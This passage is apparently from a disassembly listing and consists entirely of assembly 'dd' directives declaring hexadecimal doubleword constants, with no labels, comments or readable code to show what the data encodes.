		dd 4F4A739Fh, 0DC17641Ah, 6CC511h, 0E507B0C9h, 1FC0A7E0h
		dd 401877EFh, 0DA5AB7B4h, 47281787h, 0DF1C3410h, 400D4E2h
		dd 18F14DAFh, 85D61C24h, 762180FDh, 0F80D2786h,	97E1AB09h
		dd 1EFC58E8h, 13DC6964h, 0AAE8F025h, 3500C0A4h,	0BE32C9E9h
		dd 2EA9F59h, 54586CC2h,	0E0764F3Dh, 0B5900660h,	238001EAh
		dd 8A46E217h, 4C0DD897h, 8621751Fh, 0ACE0CD01h,	82F09631h
		dd 0EE8026C9h, 0CEA700B2h, 0FAF36563h, 9B9E0900h, 0BB2A43DDh
		dd 60DF7398h, 0E82130CAh, 890FA3B2h, 188BB966h,	30540D48h
		dd 17603C79h, 2A009944h
		dd 6105712Dh, 0C3557FCh, 88A066FDh, 70E8CF31h, 3C90783Dh
		dd 506E046Fh, 3080C1EFh, 0B018B2A7h, 8C8F0034h,	0FC39CBBAh
		dd 0BF00788Eh, 0F54F3FACh, 1DACE18h, 0ECF84D21h, 80C1C4F4h
		dd 0EF280510h, 182A8F08h, 71D0A466h, 201852DFh,	50116E5Eh
		dd 0A97F003Ch, 7A533894h, 0C80C356Bh, 202A0C40h, 62C1000Fh
		dd 0DE038401h, 0C3002FD8h, 77E97B10h, 5F2DA5h, 0DA2B57D0h
		dd 55AA347Ah, 1D187667h, 261EA480h, 2C09000Dh, 0AD61F1CEh
		dd 0FDF8704Bh, 877FF978h, 50004378h, 0D767F591h, 76BEC5h
		dd 771D8DB9h, 0EE0C2073h, 0B22DD01Fh, 0FDCCA41Fh, 609A5072h
		dd 0B0BF682Bh, 4C3BC83Fh, 773000Ah, 0D9EEEB5Ch,	0F76F3077h
		dd 43E5A619h, 79763B1Fh, 3DACA0Fh, 0C03A3119h, 60203F89h
		dd 1D7D28B2h, 2F037317h, 6B8F7709h, 0C218005Bh,	23DABDE7h
		dd 79CA2460h, 29700476h, 0EEED38D8h, 0CBE2CE80h, 7705C772h
		dd 3514C5Ch, 538470E6h,	12EC8D2h, 61F930CAh, 3DA179Ch
		dd 0C458E600h, 0CC29EE02h, 3A5F451h, 0EC771CCDh, 690FB345h
		dd 8078D79Fh, 2A1EE2F9h, 193B3A32h, 3C219E30h, 0A70F78DFh
		dd 0E7FFB9Fh, 0C807203Fh, 306FF35Dh, 0A4D89877h, 0BB08D4FEh
		dd 817A877Dh, 36ECED16h, 0B389F8F5h, 1E09FD66h,	0F75FA21h
		dd 69EBD2EDh, 2A728237h, 98AD80A0h, 547D3811h, 0F0D42651h
		dd 0AC02D3E1h, 39A15DFDh, 88908079h, 0C50CB0Fh,	0BEA5D6E3h
		dd 0D8B5F558h, 1DD88848h, 388C2025h, 36B4C901h,	904787FBh
		dd 0E32D2080h, 0D77D7504h, 120820A7h, 87F5C069h, 0D083403Bh
		dd 486F81C0h, 0E324409Fh, 3CFD0808h, 0C47AF301h, 2CE5CDBEh
		dd 0A8DD986h, 3A0628BBh, 72A2B91Ah, 21716008h, 0CDBB0262h
		dd 0E2345Ch, 4954CCD5h,	30E5E8B2h, 0C0F8A3C5h, 0F122E73h
		dd 1440BA6Eh, 0DEE7B605h, 936F0C52h, 0A1093A7Ah, 7DE521C0h
		dd 7A3FA5F8h, 5823000Fh, 52D890EBh, 7550E9F4h, 4B00C0B0h
		dd 0D1180273h, 92675FB7h, 0F480000h, 0BF40AFA6h, 2200A2D0h
		dd 8174C71Ah, 30A45226h, 0B44001E9h, 8F50CBA0h,	51073484h
		dd 323F8868h, 0DFBF0411h, 0A3DF0Bh, 429E783Bh, 28018CE7h
		dd 0C00B5D6Ch, 41DF6FA1h, 0A985DA69h, 2F714DB4h, 0A3238Ch
		dd 2F633F74h, 940433CAh, 2A70E4A8h, 46481CC1h, 0C3019423h
		dd 0C2F9B178h, 8B770C19h, 4590CBF3h, 7A0037D5h,	0CC57072Ch
		dd 3D7EE4Bh, 0F243E253h, 78182E34h, 69E925FDh, 5B5D0022h
		dd 5349D3DEh, 0EEFE51B5h, 54DF8904h, 0D882D265h, 0C544904Ah
		dd 0F9CF1178h, 804C8832h, 4F78CD72h, 0DC1CB21Dh, 0B824CE20h
		dd 405594h, 821DF442h, 498D7Ah,	2FEF517Fh, 0F2128B78h
		dd 0C5FB2200h, 0A58A9991h, 0BF882A43h, 647D98h,	0A331AE59h
		dd 0C3901AB2h, 3BFFE300h, 0CAD8EE1h, 50B0D4D8h,	0B5000823h
		dd 0B752C3E7h, 8EC4A592h, 0A6407CF8h, 0D0A9F0E8h, 43B28106h
		dd 0B104F1h, 8D8CA345h,	52E08960h, 85C664A0h, 7CFCD900h
		dd 638FF557h, 59A0006Ch, 949A659Bh, 0A82CC348h,	98321410h
		dd 0D9A4B04Eh, 0F9AB0878h, 4B641FD2h, 78C12640h, 6000372Ch
		dd 4A476509h, 118BCA7h,	5A6D76A2h, 20296B81h, 0AC005244h
		dd 23AD94FAh, 426932h, 50C824A1h, 0B8B2798Bh, 0B3052C99h
		dd 0BB811FDCh, 38911EFEh, 0B62803C2h, 0B84683h,	7EA05C80h
		dd 409A39Ch, 784CB090h,	8C04E8B0h, 275E3Ah, 1F4A6B56h
		dd 45A32C6h, 0F818AEA0h, 63E890A9h, 21EECBFh, 4D9390CDh
		dd 1889B049h, 34FDDAE0h, 0C718BAA5h, 561E517Ch,	0F51081B9h
		dd 0A21EC27h, 31AA28A8h, 57183A35h, 9CC4C648h, 30D78D36h
		dd 17346C8h, 0F550ECE7h, 50C8F2Eh, 4F3088h, 267FC1EDh
		dd 4A32D2F6h, 8D32D5FAh, 82D76833h, 8505E1A4h, 0F42F1D94h
		dd 161C4C23h, 0A1950280h, 0B9384F8Bh, 287C1404h, 178C77B8h
		dd 7D52EDh, 6F53A9C0h, 0D100E8B8h, 0EEA24E96h, 655D015h
		dd 3F214A57h, 0D600E97Dh, 7B31B45Ah, 26891819h,	119CA7E2h
		dd 0BB5080CBh, 870ADAE1h, 0BB086C05h, 94998C0h,	7D2E296h
		dd 18CF63C1h, 0D96144B9h, 2D442D4h, 8E7AB30h, 936752C5h
		dd 0FA43A064h, 0E6F0F872h, 6A70E19Ch, 89CF4E13h, 30C1F472h
		dd 0E708BB5Eh, 641B1ADAh, 366E403Eh, 0BEC7BBh, 4824D001h
		dd 20E23934h, 0A5486FB8h, 2E54859Ch, 0CFC3C800h, 0CFDA64Bh
		dd 0AF8E155Eh, 0F90AC219h, 6C3373F1h, 0B4850911h, 0DF7882E7h
		dd 0AC44406Ch, 0F87302FFh, 0A288473Dh, 7C800451h, 19836FF1h
		dd 62EF01E2h, 0F28BE58Fh, 5BC1812Eh, 649CB31Eh,	0BEDC30h
		dd 0BC94B789h, 3FA1B869h, 0C8908C68h, 11038209h, 0C4184B50h
		dd 0F9B47804h, 903219CAh, 78CC7520h, 8A1200C8h,	5BF850A4h
		dd 7909CE73h, 9020F7A1h, 0DD7BA540h, 2C8AB60h, 0B929F65Ah
		dd 2024DC44h, 0F4423835h, 61D840CEh, 57F38030h,	0E3A8D854h
		dd 0CF8E38B9h, 1EAC0C1h, 6F40248h, 74DA2E4h, 2E09F0FAh
		dd 3022524Fh, 25BC502Ch, 0D83A2775h, 0F425CC7h,	9ED0182Eh
		dd 995D5C05h, 0A84B3D73h, 118C1DFDh, 0C3208F43h, 0EC3CF3FAh
		dd 0F792C92h, 0C2FC0DEAh, 30951D68h, 81809091h,	114C668Ah
		dd 0FB8EB201h, 1415E622h, 60EEB040h, 0DF1D00B5h, 0F35F7075h
		dd 7D6045C5h, 0B6660141h, 1F26009Bh, 0C359B97Fh, 2258215Ah
		dd 0E2A6C0DCh, 0CA0E1Bh, 0B31A12D3h, 56A09EDAh,	43680102h
		dd 4836C816h, 2A41E44h,	613FBAE4h, 0EC6A2D7Fh, 0AC4C047h
		dd 14B76060h, 3E074300h, 0C1D1A35Fh, 6088966Dh,	7B942675h
		dd 8290A0A0h, 4D25C004h, 5081C4F9h, 80227045h, 0DE017523h
		dd 3AF9AA78h, 7F884A18h, 0CD7801C6h, 270E10D3h,	0FD14303Dh
		dd 0F221F409h, 80C4295Bh, 86BD1CD1h, 49B238DEh,	9D920682h
		dd 0EC962438h, 4971E891h, 643F6A18h, 45570CC7h,	0A07C81Ch
		dd 3BD15AAAh, 43DB80B8h, 7669CA50h, 0E49189Ch, 54805188h
		dd 0EADB45BBh, 688F448Ch, 0EEBB0C00h, 2F3B158Dh, 0F21606B0h
		dd 50249057h, 0AC1E2238h, 0C350D0D6h, 0D690231h, 0F34DB3D0h
		dd 0C7005064h, 0EC1C6E7Ah, 0E460FA18h, 50C23C3Eh, 0C874B69Bh
		dd 2517F1D8h, 36119C99h, 0D9E7B780h, 608CC752h,	7EFE610Eh
		dd 3000BBF8h, 34B88291h, 81FBAD5h, 7655A718h, 0CA353344h
		dd 2E0EC40Ch, 0C3F00730h, 525EFA04h, 8E1D61Ch, 4428A8h
		dd 3FC59BF4h, 103907FFh, 6093A0BAh, 0B86CC714h,	28058C09h
		dd 27255452h, 80936404h, 5A807D0Fh, 0AD786CBDh,	716171Fh
		dd 9F3AC587h, 62FAE440h, 3E12091Ah, 882A4F14h, 6078E4C0h
		dd 2353ED44h, 41146F5h,	7AECCF1Ch, 0AC56BB8Fh, 60FFD6BDh
		dd 23510790h, 7A72F8A8h, 0A96F8932h, 0C8D04CE3h, 0E2C07278h
		dd 0EAF509ECh, 3D80858Ah, 6C7AED4Ah, 0E919008Ch, 0BCA4AF71h
		dd 7680D155h, 37460051h, 5FBB4FD6h, 6104882Eh, 5ADBB922h
		dd 3838D4D9h, 68C43ACh,	7381FA62h, 3807488Ah, 27F592E3h
		dd 34A4B8D4h, 0A8D353A9h, 0EA3301E2h, 9D54C033h, 0F1C08003h
		dd 0F18423F3h, 8C0C2DADh, 0D51ED800h, 91573027h, 0AD59C321h
		dd 14886299h, 261D6BFDh, 0B60343F6h, 0D0F3A70Eh, 192CDC66h
		dd 9C40A92h, 8721934Fh,	0DCC52F00h, 534419h, 1BE854BCh
		dd 897D69B3h, 0D8595200h, 95E7EFF8h, 2D290393h,	0E2411A46h
		dd 613191C1h, 7008006Bh, 9E183A45h, 2E60470Ah, 55AA008Ah
		dd 0B20F8891h, 8CC8089h, 0E4B2121h, 0D722AAF2h,	1EA7F0A0h
		dd 53E7392h, 0B2430C0Fh
		dd 96280Eh, 0FBF70263h,	336FA362h, 6A084B66h, 5B7D0021h
		dd 888BAD02h, 0A17207C3h, 0F87A46FCh, 8C37C529h, 0CD8F2011h
		dd 3CDC6042h, 3585001Ch, 152472FDh, 0DD080DFCh,	0E1463B1h
		dd 784CCD9Dh, 0E9190158h, 3918202Bh, 30388042h,	2B11AA8Ch
		dd 24889891h, 0AAF44980h, 1D2079Bh, 5E984552h, 80159E93h
		dd 7109B121h, 1DDC74CEh, 181F2312h, 3E47A075h, 29139B30h
		dd 8BF364h, 0DB332022h,	0CD619897h, 944AE528h, 45C11C0Fh
		dd 0F70E008Eh, 0C0169E35h, 0F30C6039h, 0E00F9329h, 41582664h
		dd 89662818h, 7D6043C8h, 9E72488Fh, 4CFF507Ah, 0D6DD1FC1h
		dd 718D5DB5h, 806A7F80h, 0CB540B99h, 1902E0E6h,	41E8432Bh
		dd 29218030h, 81F5CB2Ch, 0F8D50694h, 59199E1Bh,	8E015374h
		dd 0B5FA5A10h, 49F08448h, 57F40079h, 1B9363E7h,	0C414B1CDh
		dd 1FC00D75h, 0A9099DAh, 750B5150h, 2CF8A9EBh, 6CF4F118h
		dd 448CDC71h, 390281B3h, 0BB47AEFDh, 6248879Bh,	98022180h
		dd 0C5060045h, 0DACDDC91h, 0A43C975Fh, 51C109B3h, 3E80037Ch
		dd 4839F25Bh, 32B8C38h,	99DC78CFh, 0A041324Fh, 971088C0h
		dd 29A84C19h, 6FE8ED8Ch, 229446DCh, 3E9E004Eh, 32884FFDh
		dd 0C91891F1h, 0E0805C65h, 24B7EEFFh, 74C47C7Fh, 8031A46h
		dd 58E92992h, 63405012h, 90BB040h, 7C80FA64h, 0FE20EC37h
		dd 0EA3F00A5h, 9BE21848h, 48D94591h, 89183978h,	9154AA04h
		dd 27320CD0h, 0AAF1A22Fh, 7271408Eh, 0DBD305E5h, 2124E399h
		dd 88212E8h, 0F07A8C23h, 24DC6111h, 848A4B88h, 7300A438h
		dd 0A559F5DCh, 32530057h, 5EFC9E37h, 50256E1h, 0B6C23571h
		dd 4604C67h, 0E0E7CB51h, 2032620Ah, 0B3CB292Eh,	0EF014576h
		dd 53F4223Ch, 3FDDFC46h, 0F18B884h, 6660D8F7h, 0FBF00208h
		dd 4068C44Ah, 0F8025E76h, 8CC60FE9h, 0C46F2FC7h, 0E7777140h
		dd 643EF1D2h, 9D5287D9h, 276250C9h, 44BC4741h, 0BC3E6033h
		dd 0EC2B0FF0h, 245FF7FDh, 0FE9B0118h, 0E843C951h, 1D549E3Eh
		dd 740017D0h, 0C79B4AEBh, 52720C4h, 0F1B999A8h,	57B4405Ch
		dd 0BAB3347Dh, 9540690Fh, 4EDC98Dh, 0C0673504h,	0F09128AAh
		dd 48C004B1h, 79AAAF5h,	16DF9D87h, 0B0E7A23Bh, 0D0E590A0h
		dd 0B23EE0F4h, 0AE561F2Ah, 97293102h, 5B84A41Ah, 8BCB5560h
		dd 0C32AE038h, 2DF60D22h, 0D9CB3Bh, 17381441h, 29C19089h
		dd 0D1287B81h, 37D1879h, 318C372Bh, 48016301h, 0C1D789FDh
		dd 109268CDh, 0F00C083Ah, 0F1026DC0h, 0A1722CFBh, 653F586Ch
		dd 5DBF0200h, 0B0269779h, 7DD90277h, 901C5B3h, 16F7F03h
		dd 90329689h, 806D403Ah, 27E32141h, 147880h, 0FEC858B5h
		dd 3CF5A404h, 2A00FCF2h, 4951E403h, 12534C3h, 0CBF76F53h
		dd 51429561h, 0E0F2F4F0h, 11DE5E89h, 0C171E99Bh, 0E4579353h
		dd 0CCCBF5F0h, 30B03Eh,	0F38D3961h, 0CD941F53h,	44932E16h
		dd 0BE12431h, 0BE6CC214h, 0B3621360h, 5A043176h, 4AD9CC16h
		dd 8C3E64C8h, 51AAE602h, 190CE891h, 8E571025h, 818600AAh
		dd 89D5E9D9h, 0BCA7694Fh, 7389B14Fh, 37DD7300h,	2E011F40h
		dd 0E4D9B1BDh, 0BEEFEFE0h, 0B65B14A0h, 548088EAh, 4BE9DC69h
		dd 3CB31129h, 40189579h, 2C1254E6h, 7D01F69Bh, 0B861CFE7h
		dd 0D8317082h, 28405BF9h, 4DF8FFA9h, 0DC5718C7h, 3B2613C3h
		dd 7811E78h, 0C5180E73h, 43A18C7Fh, 1D77697Bh, 40B953F0h
		dd 0F1C749E1h, 310146E6h, 6CC46F7Bh, 8DE8C592h,	0D124B15Bh
		dd 77FC182Dh, 0ED5B3F07h, 4D32D980h, 0FD5E2D63h, 8CE87639h
		dd 0B8586A17h, 0B511240Fh, 0FF188590h, 9DAC41F5h, 603377C1h
		dd 0F719E035h, 7431BBADh, 53F37C36h, 9A78908Fh,	5520EFE2h
		dd 0B0F1245Fh, 6426806Ch, 0BB515769h, 70C77E00h, 0DFD08EC4h
		dd 0A13100F5h, 0CD8EE68h, 4328E9DDh, 0E8ADF013h, 5AEA6EE0h
		dd 0C98600E1h, 1CC52885h, 0E20C558Ch, 98403DCFh, 441C99D4h
		dd 26F608Eh, 82FB10CBh,	8097C8A0h, 0C6026739h, 1201247Dh
		dd 775138C9h, 25CC354Ch, 0DD270075h, 3B3013DBh,	24141BA3h
		dd 228CF17Ah, 5CC8C79h,	0C4E3FFE4h, 0B2980833h,	0A201D280h
		dd 0CF21CAh, 612A095Dh,	44B19596h, 62B59309h, 0CB982191h
		dd 0E0C801E5h, 0D54CEACFh, 53109460h, 9161132Bh, 54BC3020h
		dd 180C6E14h, 402816D6h, 0F4C98EF4h, 0C00530B5h, 38558472h
		dd 0E80F9C05h, 77050C80h, 0DA4C096Dh, 1044B613h, 2D461CB0h
		dd 6308F23Dh, 48C4F4DCh, 0FD3A8240h, 0C500CA19h, 40531F2Eh
		dd 563DD85Bh, 582284E1h, 0DD934C00h, 2852A843h,	2AC000BDh
		dd 0BB47D2DFh, 4D36CDE5h, 20F08867h, 0F9F8336Bh, 1C221E4Bh
		dd 44B4477Dh, 0B53C6024h, 2010981Ch, 0F6309091h, 0DBBF9940h
		dd 12C200E6h, 0D5C026BAh, 1B3028EFh, 162DF1DAh,	0E2413891h
		dd 0D4CFB681h, 3965F0C2h, 0A7DA1314h, 0D511DC02h, 4D04426Ch
		dd 6022C4CCh, 0F48BE0C9h, 310709A6h, 0AC84F680h, 23DCA7BAh
		dd 84F41E2Fh, 0A2C4DC6Dh, 3C80C088h, 4F988FDh, 0C11F3F49h
		dd 6AFC906Eh, 5A4D45F7h, 0EC2E931Ch, 5F037F23h,	2609F866h
		dd 90005C9h, 50493F0Fh,	38280D3Ch, 28C4AACh, 0C9470DE4h
		dd 7AE05FFEh, 26E88967h, 5AE75826h, 0C80E9305h,	0E2E1A880h
		dd 8F632EACh, 0D194A184h, 271C4Ah, 0B5125ABDh, 43014B46h
		dd 0BEFFC18h, 12A4B1D0h, 8E621B31h, 0C04F88B8h,	291B0C48h
		dd 56E13B00h, 70DBF715h, 0F10F2605h, 26CC060h, 7A25FBF6h
		dd 8814A1h, 8302643Ch, 7E882BBCh, 8E692405h, 0C805610h
		dd 1827D8B4h, 31674041h, 123A2DECh, 3E58332h, 0D07A689Ch
		dd 2A1F269Dh, 0E863C7h,	376AF13Bh, 0DC620C34h, 32F374B0h
		dd 2EA0003Ch, 86BA2B22h, 3F7477EDh, 0E1814934h,	33CB0651h
		dd 0F22022C2h, 71903337h, 651F9E49h, 3DC67978h,	0B9625Dh
		dd 200F2BAFh, 193CDE2Ch, 94672400h, 8ABEF295h, 75F61836h
		dd 4855E02Eh, 0ACB9BC90h, 8E182D79h, 0DBB90600h, 207F1250h
		dd 0DE7D09BCh, 64205851h, 18195FBh, 9C92FCA0h, 18122B33h
		dd 3221E1B9h, 504BB603h, 4823583Ah, 0CCEDC500h,	10E865h
		dd 764A73D7h, 1E8A1CCBh, 5564000h, 0E1F760E5h, 3BD89244h
		dd 3C4C2931h, 14F9660Ch, 0D91B91D1h, 0F0189279h, 0DFA509F7h
		dd 7DC10E30h, 3F10191h,	1EB3E9DBh, 13ADD424h, 0F6E54F2h
		dd 9D812FC4h, 6467F529h, 3220CF70h, 93C12228h, 858F5202h
		dd 0A0682F3Ah, 7AF662E8h, 6EA53C44h, 1205A44Dh,	42B343F2h
		dd 38955E8h, 0CA93CE4h,	0B300D2B7h, 286CEF2h, 0F601F8Eh
		dd 1848E264h, 7358D316h, 8C23BC00h, 44758300h, 5AEE60C6h
		dd 0C5FB38A1h, 0D806A8h, 9EA9E8E1h, 7DEF6FD3h, 20944F51h
		dd 5305A2B8h, 0C5C72B74h, 87A88414h, 14AFE7E4h,	91C60084h
		dd 93A65C82h, 16BB28ECh, 0DF4501A4h, 39BD5D05h,	8BBEEC5Eh
		dd 3B6C1F04h, 0D5046E85h, 0D99D013Ah, 5880F7BCh, 7D8BA102h
		dd 0B50E8D6Ch, 0F304DDBh, 3CEFC146h, 9852F07Ch,	0C0B04DDDh
		dd 70F530D6h, 6EE0D301h, 50143ED5h, 2DBCC468h, 0C74B1D8Ch
		dd 0B58C0077h, 62AEDC25h, 33C9E717h, 0FB003213h, 491B549Ah
		dd 6D020069h, 0EA51CEFAh, 9450B9F7h, 0D01F0EB0h, 65173D7Dh
		dd 0DF474040h, 6F25E6Bh, 2DC6F6E2h, 8B0C06Ch, 0A03EF320h
		dd 532550h, 0BA46146Dh,	51C26655h, 2023D030h, 29407AB6h
		dd 0E3202D3Bh, 33EC9F82h, 0D2339250h, 16E7EF4h,	0DA692B39h
		dd 0D1498BA8h, 0BC6028A5h
		dd 5A008C68h, 89604ADEh, 9C7BF99Fh, 506B9940h, 46118F4h
		dd 52FBCD02h, 80B4B2A3h, 3025973h, 0DBB0038h, 0D990D54Eh
		dd 0CC90BDEDh, 95E45C05h, 0A4027BCDh, 50C79C5Ah, 0F12612BCh
		dd 65D44059h, 0A12D039Ah, 1D8BED00h, 1043CB3Ch,	0B694B260h
		dd 48465E88h, 9E6F6300h, 0ADAEB7F2h, 0E76A760Bh, 3B7041DDh
		dd 0AA738F18h, 0F809110h, 0AAF74EB0h, 0C2021E0Ah, 113D901Bh
		dd 9E3D45FDh, 5D602960h, 0E1E2673Bh, 20A1D301h,	0BB43E968h
		dd 25EC40FAh, 614028ACh, 0F91D031Ch, 9BFEB8BFh,	0AE9CA790h
		dd 0FA1AA00h, 0EEFFE4E7h, 0A7C49004h, 63214484h, 2A10A002h
		dd 0FECF025Ah, 48A89E2h, 0F5467858h, 0F2026002h, 0F0B35AFBh
		dd 587040ACh, 60F32602h, 5980489Eh, 0F725E737h,	424122Dh
		dd 0FC9865ACh, 89CB0457h, 322B1AE0h, 2F2C2034h,	160064CBh
		dd 78F69793h, 4EE8BCCh,	49ADFB3Eh, 0E280D115h, 2CAC3186h
		dd 8C34BC18h, 0B291920Eh, 0CF52E033h, 1276675h,	44548E56h
		dd 3CFDA5FAh, 16E403C0h, 534B79ECh, 25A210D0h, 5197BC30h
		dd 482CB4E4h, 0CD819B80h, 0AC02610Dh, 0E1633DD3h, 761EC0C1h
		dd 7C93045Ah, 0FE283F71h, 30113DC0h, 6878591Dh,	3C031708h
		dd 0FDD80C3Eh, 6161864h, 0CD2808A2h, 0FC171143h, 2C3EA47Dh
		dd 94802323h, 3371FE69h, 61C9073Ah, 0A0516DCFh,	9B31293Fh
		dd 0D3311860h, 97E684h,	0C0D43678h, 6F09A3E9h, 4AF48E0Bh
		dd 0FE1002ADh, 98C08979h, 0F48957A8h, 48F35B5Dh, 2BC05978h
		dd 21E08DCBh, 7C912A3Ah, 0E4232814h, 8A195B00h,	8953D166h
		dd 6C9C2972h, 0E871BB1Bh, 0BC4457FCh, 22467660h, 16A63F79h
		dd 982EBF80h, 18747DABh, 1F974C00h, 0ADFA5F06h,	4C654995h
		dd 4E05116h, 0B0B34FB1h, 1E639B2Ch, 0BF0DC851h,	8B492B90h
		dd 54E6F4h, 1CAD40E1h, 0B7E365ECh, 90AAE2E8h, 0DC7B0C71h
		dd 8B625460h, 0F5562914h, 61247CACh, 0DA403C8Ah, 98397451h
		dd 0AD9B2AB4h, 0D91F268Ch, 0C96641F4h, 0F4E9E404h, 694FCC14h
		dd 0A5FB81D8h, 0E8AC6841h, 3A3134CAh, 33223DCh,	0DDB8E7E9h
		dd 76F589E0h, 217A7E33h, 0DF1F02Eh, 0C03C0064h,	28D59DD4h
		dd 730359AEh, 6D2E8CEh,	9CC81232h, 0A0649709h, 47146E56h
		dd 94359586h, 3660B301h, 0C746C98h, 7C6102F4h, 599C5E5h
		dd 0E287086Bh, 9D0045D5h, 0B2B015C9h, 0E8FA4A68h, 0E684C2Ch
		dd 47B10FC4h, 51C91647h, 99DC0B1Ch, 1CB8900Ch, 4D0B9325h
		dd 6E51C0B0h, 8E24E791h, 72818049h, 6C030514h, 5F9AF843h
		dd 2406FD8h, 9DA57FBh, 39D45108h, 0B020845Ch, 60F89E5Ch
		dd 0DF81B391h, 26213ECCh, 7AE2B709h, 2C66182Bh,	0AB2068B0h
		dd 339B341Dh, 0F28CE291h, 63E13022h, 9AF67901h,	57EE350Dh
		dd 2210B5D9h, 27014B85h, 1B58EA9Dh, 0F4E45E86h,	8A060318h
		dd 66438062h, 9DBCA13Fh, 0D1802EDEh, 0B2F7BF22h, 0F55B0453h
		dd 80F66180h, 0C36DDC95h, 4ED92891h, 0CB5EDC19h, 0D4F45C16h
		dd 4D258C04h, 59D5EA00h, 0C60F7423h, 0EECCF14Bh, 0DBE66166h
		dd 6422F55Ah, 22F007Ch,	0AFDC7E19h, 500F9E5h, 54937F40h
		dd 2AEB89C9h, 0C4647Dh,	9EFADFCh, 0DA78531Ch, 18A3Bh, 0E645A524h
		dd 5D7BB1DDh, 204FB028h, 0BEA444F4h, 5068DA00h,	9D41582Ch
		dd 0BF7E0089h, 4E9314D0h, 2224FB39h, 5E1154A3h,	8CCB2E80h
		dd 0C4BE72E0h, 262B58h,	0B8BA85CBh, 60C58115h, 19C99108h
		dd 0E7E0046Ch, 11E0F4FDh, 1B3FDC99h, 0E2E6EDCFh, 0E5EC91F1h
		dd 4AE84C8Eh, 0E911A3E3h, 2CFA8801h, 0A9C0FFFBh, 0FF71D460h
		dd 0B3F42609h, 52A5D81Dh, 74960004h, 2992A048h,	0B1C297D1h
		dd 2BAEDEFh, 685944BEh,	70183479h, 9C423Eh, 4C39E65Dh
		dd 9F1BF56h, 74812206h,	0A6C21405h, 4F64B164h, 66E4F8C3h
		dd 13815F3Dh, 23FC3AF0h, 0FC540026h, 183201A0h,	0B2701104h
		dd 3CE039C5h, 0FC6E4C2Dh, 28C058C8h, 43E08ACBh,	20258222h
		dd 0D3D080CBh, 3F4CD0FCh, 56025529h, 40E76987h,	0C56BD8C8h
		dd 0EFCA1300h, 0E1DC1D3Fh, 5C15484Fh, 0D8335302h, 0C88461D5h
		dd 0FA0A82C8h, 4D71CCD1h, 0EA68EC19h, 540C8200h, 7CC88E2Fh
		dd 0D1B8B16Fh, 27D186Ch, 5EE16E19h, 0B89773DDh,	0D3802591h
		dd 573BA23h, 465CD896h,	0FE74016Ch, 0DBECBDD0h,	6117F468h
		dd 0E4B88890h, 5E20A320h, 6F6C202Eh, 0C400431Ah, 0F06C3363h
		dd 2DE2B26h, 6673BBB0h,	8C788D96h, 84E8E101h, 7E50FBD6h
		dd 806579A5h, 0D06795E4h, 0FCC6C1Eh, 3E161675h,	0DD16CFE7h
		dd 2FB66CC2h, 0A30718C0h, 0F9022161h, 7CE796E2h, 66EA40C2h
		dd 926CA394h, 40CC54EEh, 7568058Bh, 0E9B7E10Bh,	84BCA9B5h
		dd 126F0DB0h, 1C05C74Dh, 0EC81737Ch, 51006B55h,	1F13B2A8h
		dd 6CCF8FC3h, 37C03388h, 2CAAB63h, 91563ACCh, 58D039C1h
		dd 0F306612h, 89691044h, 0B9556CC1h, 0C0E99444h, 0DBEED3B8h
		dd 24CA062Ch, 20BF9909h, 92595508h, 278F309Ch, 2335110h
		dd 7ED14099h, 0C002318h, 0E2F29AE7h, 25A86E89h,	0C0297E1Fh
		dd 910C3872h, 0E86D7129h, 0E5E2040h, 0DB01E509h, 0C240CDA8h
		dd 0A082FF68h, 0E200428Dh, 9C0C93FDh, 79465E3Ch, 635B7D09h
		dd 303C728Ah, 0FDCD6569h, 7C1F614Ah, 0D08B00A2h, 65944BF2h
		dd 0AE13E415h, 7C8001FFh, 50BF61F9h, 8C3CD877h,	57AA8804h
		dd 2062F891h, 0AAF05520h, 8FF400A9h, 0A21CEE1h,	1150FFE0h
		dd 93137CC9h, 0BC2FC204h, 0AF003323h, 38864A1Eh, 3DF725FDh
		dd 98510462h, 0A43DFFC3h, 0B204F225h, 30FE3020h, 9242FD07h
		dd 0FCC2143Eh, 8CABB5h,	87D44678h, 0DF9C2447h, 2C97A744h
		dd 44806E91h, 0AD14C140h, 6CC76113h, 5A0C8h, 81C0AFE1h
		dd 87F2E090h, 0D610271Ch, 94068CD7h, 0E781A1Bh,	902C998Bh
		dd 8EB53A45h, 0C3348868h, 7DE0C681h, 122659BDh,	0E401BD44h
		dd 69A3B8ADh, 40EF1820h, 3301C98Eh, 6610B2FDh, 6434B488h
		dd 9962447Ch, 0AECEC800h, 0F3AFFAF4h, 94340492h, 0FC18A5DBh
		dd 30F6B998h, 0BB2EFA15h, 0BC206FEBh, 5F2D26ECh, 0F1E8327Ah
		dd 186259DCh, 0C5E51223h, 0DA68C0D9h, 9518F813h, 0D8107A19h
		dd 1FEB29E9h, 186AF1ECh, 0A835007Ah, 0A143275Ch, 61258FF8h
		dd 0E2249B8Bh, 0B1260735h, 0C0E5C9F5h, 0F11D18B7h, 56498B28h
		dd 0F9A45160h, 27184Ch,	312E0289h, 0C5CF1A65h, 6834485Ah
		dd 37AC28ECh, 396A008Ch, 4BBDE53Dh, 5E19828Ah, 0BBF96040h
		dd 4C951480h, 7C2F92EFh, 3A012A00h, 0FC51DFEBh,	20709844h
		dd 80DE4555h, 72A9310Fh, 0FBCAE0E4h, 23D83A05h,	35D90027h
		dd 0CF3D1B78h, 0F42F414Ah, 0AB027F23h, 0F039CF0Ah, 169C9494h
		dd 0C47889E3h, 2800A5E9h, 0D95AB7A9h, 0E272C7h,	0F616410Dh
		dd 0D3966959h, 0C9F4F71Ch, 0FB40739Ch, 0E6FAA4F1h, 4571250Ch
		dd 0E91DB837h, 6C89C741h, 0BDF4E2C4h, 974C9075h, 0B1911C17h
		dd 3D7AE083h, 32D5A4D0h, 0EF885CBCh, 9661041Ch,	0D9064041h
		dd 0B498A2DBh, 119360D8h, 5B845F69h, 23E02E73h,	0BFA60023h
		dd 0D98DE755h, 0E5B95703h, 26F75CDh, 7EC4690h, 0E8D9B324h
		dd 57186AD1h, 0E41AE500h, 44EF228Ah, 2CADF642h,	8B801D01h
		dd 0E4456479h, 2B8A188h, 0BAB5EFE0h, 0FC9D30CDh, 0C88E4656h
		dd 3FC021C8h, 4FF0127h,	0E9DDA35Bh, 0E508D0ABh,	4C9AD1ADh
		dd 0C020C45Ah, 5479C55Bh, 972D86Ch, 68339566h, 4C6490E7h
		dd 6DEC4067h, 400F33F0h, 69CE3217h, 0E0F88DA0h,	0D4D244E1h
		dd 0BE04F498h
		dd 9BD0E984h, 0CE14B4h,	0A8BB50E1h, 0F7970AECh,	8060663Fh
		dd 1BAC150Ch, 186712DDh, 0D9EBF156h, 32D99DAh, 50902813h
